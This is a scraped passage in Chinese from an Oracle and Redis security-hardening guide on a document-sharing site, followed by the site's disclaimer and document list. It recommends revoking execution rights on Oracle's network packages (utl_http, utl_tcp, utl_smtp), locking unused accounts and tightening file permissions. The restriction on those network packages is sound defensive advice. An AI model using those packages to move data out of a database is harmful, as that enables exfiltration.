57、ttp、utl_tcp、utl_smtp、dbms_random程序包的執行權限。)修改系統帳戶的默認口令(特別是管理員角色類帳戶)鎖定所有不需要的用戶SQLALTER USER ACCOUNT LOCK; 嚴格限制庫文件的訪問權 限,保證除屬主和root外, 其他用戶對庫文件沒有寫 權限chmod 640 $ORACLE_BASE/oradata/*Oracle相關安全配置Redis數據庫Redis是一個開源的、使用C語言編寫的、支持網絡交互的、可基于內存也可持久化的Key-Value數據庫。并提供多種語言的API。其實Redis本質上也是一種鍵值數據庫的,它在包車鍵值數據庫簡單快捷特點的同時,也吸收了
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
- 4. 未經權益所有人同意不得將文件中的內容挪作商業或盈利用途。
- 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
- 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 半角題目及答案
- 安全綜合知識試題及答案
- 鋼水燙傷培訓課件
- 可穿戴醫療設備市場潛力分析:2025年技術創新與需求變化報告
- 安全生產選擇試題及答案
- 數字藝術市場2025年交易活躍度研究報告:藝術與虛擬現實結合的新領域001
- 安全檢查工試題及答案
- 安全管理模擬試題及答案
- 預防燃氣泄漏培訓課件
- 中國原始社會美術課件
- 2025安全生產月活動總結模板十(19P)
- 腎上腺疾病講課件
- 四年級語文下冊閱讀專項歸類復習(有答案)
- 頸椎腫瘤的護理
- 2025至2030中國不銹鋼精密帶材行業前景預測及發展趨勢預判報告
- 無人機駕駛員雇傭合同協議
- 湖南省長沙市華益中學2023-2024學年八年級下學期期末考試英語試卷(含答案)
- (高清版)DB13∕T 2937-2019 非煤礦山雙重預防機制建設規范
- 2025年餐飲管理與服務技能考試卷及答案
- 電動船舶生產線項目可行性研究報告(范文參考)
- 浙江寧波歷年中考作文題與審題指導(2007-2021)
評論
0/150
提交評論